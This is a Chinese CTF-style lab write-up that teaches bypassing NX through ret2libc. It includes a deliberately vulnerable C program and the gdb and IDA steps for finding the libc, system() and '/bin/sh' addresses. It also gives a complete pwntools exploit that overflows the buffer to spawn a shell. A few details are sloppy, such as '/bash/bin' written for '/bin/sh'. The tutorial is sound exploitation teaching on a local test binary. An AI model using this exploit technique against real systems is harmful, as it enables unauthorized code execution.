zoukankan      html  css  js  c++  java
  • pwn入门实验2:缓冲区溢出(NX机制及绕过策略-ret2libc)

    前言

    溢出攻击的本质在于冯·诺依曼计算机模型对数据和代码没有明确区分这一先天性缺陷。因为攻击者可以将代码放置于数据区段,转而让系统去执行。

    NX缓解机制开启后,使某些内存区域不可执行,并使可执行区域不可写。示例:使数据,堆栈和堆段不可执行,而代码段不可写。

    本次实验基于pwm入门实验1的延伸:https://www.cnblogs.com/luocodes/p/13901471.html
     

    源码:

    #include <stdio.h>
    #include <string.h>
    
    void vul(char *msg)
    {
        char buffer[64];
        strcpy(buffer,msg);
        return;
    }
    
    int main()
    {
        puts("So plz give me your shellcode:");
        char buffer[256];
        memset(buffer,0,256);
        read(0,buffer,256);
        vul(buffer);
        return 0;
    }

    开启NX编译程序:

    gcc -m32 -g -ggdb -fno-stack-protector -no-pie 1.c -o task2

    这里没有加上z execstack,默认即开启NX

    简单探索NX机制

    使用实验1的exp发现程序崩溃(非法内存访问异常)

    报错的原因是我们开启了NX导致的,为什么开启NX就不能执行上个实验的EXP呢?

    首先我们对比task1和task2的进程内存映射 (task1为上个实验编译的程序)

    运行task1,找到task1的PID,查看task1的进程内存映射

     

     

     r=read, w=write, x=execute, s=shared, p=private

    使用同样的方法,我们查看task的进程内存映射

    我们观察两个程序的的进程内存映射的栈区(stack)

    发现task1是没有开启NX保护的,所以他是可执行的,而task2开启了NX保护,少了一个x的权限即不可执行

    问题总结:因为开启了NX保护,而我们把shellcode放到了栈中,所以执行上一个实验的exp程序报错了,因为这时候的栈不可执行

    ret2libc(return to libc)

    原理:通过把函数返回地址直接指向系统库中的函数(如system函数),同时构造该函数的输入参数栈,就可以达到代码执行的目的。

    一般情况下,我们会选择执行system("/bin/sh"),在不存在ASLR(地址随机化)的情况下,可以直接通过调试获得system的函数地址以及“/bin/sh”的地址 。

    这时候我们不能return2shellcode和jmp esp了,因为开启NX,现在的栈是不可执行的。

    当函数调用栈没有执行权限时,就不能执行我们自己写入的shellcode,那就利用程序里或系统里的函数,libc动态链接库中通常就有需要的函数,如system()。

    比如我们要利用libc里的system函数,这时候就要获取4个信息:

    1.程序所对应的libc版本

    2.libc在程序中的基址

    3.system函数在libc中的地址(即程序当中偏移地址)

    4./bash/bin函数在libc中的地址(即程序当中偏移地址)

    程序所对应的libc版本获取:

    gdb-peda$ info sharedlibrary
    From        To          Syms Read   Shared Object Library
    0xf7fd2100  0xf7fef7f3  Yes (*)     /lib/ld-linux.so.2
    0xf7de61d0  0xf7f3f71a  Yes (*)     /lib/i386-linux-gnu/libc.so.6#这里是程序的libc的版本
    (*): Shared library is missing debugging information.

    libc在程序中的基址获取:

    root@luo-virtual-machine:~/pwm# LD_TRACE_LOADED_OBJECTS=1 ./task2
        linux-gate.so.1 (0xf7fd0000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dc9000)#这里为libc在程序的的基址
        /lib/ld-linux.so.2 (0xf7fd1000)

    system函数在libc中的地址的获取

    使用IDA pro打开对应的libc,在方法窗口中搜索system即可得到system的地址(右键函数地址选择Text View)

    /bash/bin函数在libc中的地址的获取:

    在IDA PRO中使用快捷键SHIFT+F12,填出Strings Window窗口

    CTRL+F搜索/bin/sh

     

    我们得到了需要的参数那么开始编写EXP:

    from pwn import *
    #context(log_level = 'debug', arch = 'i386', os = 'linux')
    io=process('./task2')
    io.recvuntil("shellcode:") 
    libc_base_addr=0xf7dc9000 #libc在程序当中的基址
    payload="a"*76            #实验1得知到溢出的偏移为76
    payload+=p32(libc_base_addr+0x00045830)  #system在程序当中的地址(这里用system的地址覆盖了程序原来的返回地址)
    payload+=p32(0xdeadbeef)                 #填充(这里是system的返回地址,)
    payload+=p32(libc_base_addr+0x00192352)  #/bash/bin在程序当中的地址 (当做这里是传入system的参数:/bash/bin)
    io.send(payload)
    io.interactive()

    “DEADBEEF”(0xDEADBEEF)是什么?遇到将返回地址覆写为 0xdeadbeef 的用意?

    在该系统中,已分配但还未初始化的内存中用该数字来填充,使得程序员在调试时可以很容易地定位到目标内存区域。

    运行脚本成功进入到shell

    参考:https://www.jianshu.com/p/c90530c910b0

  • 相关阅读:
    Python YAML
    Python JASON
    Python正则表达式
    := / ?= /+=
    eclipse的springMVC环境搭建并输出HelloWorld
    SpringMVC简单介绍
    一个简单的MyBatis项目(应用)
    No mapping found for HTTP request with URI [/spring_liu/hello.do] in DispatcherServlet with name 'SpringMVC'
    xml中单词下面有提示下划线
    为什么maven 创建web工程不自动生成Deployment Descriptor:工程名
  • 原文地址:https://www.cnblogs.com/luocodes/p/13910283.html
Copyright © 2011-2022 走看看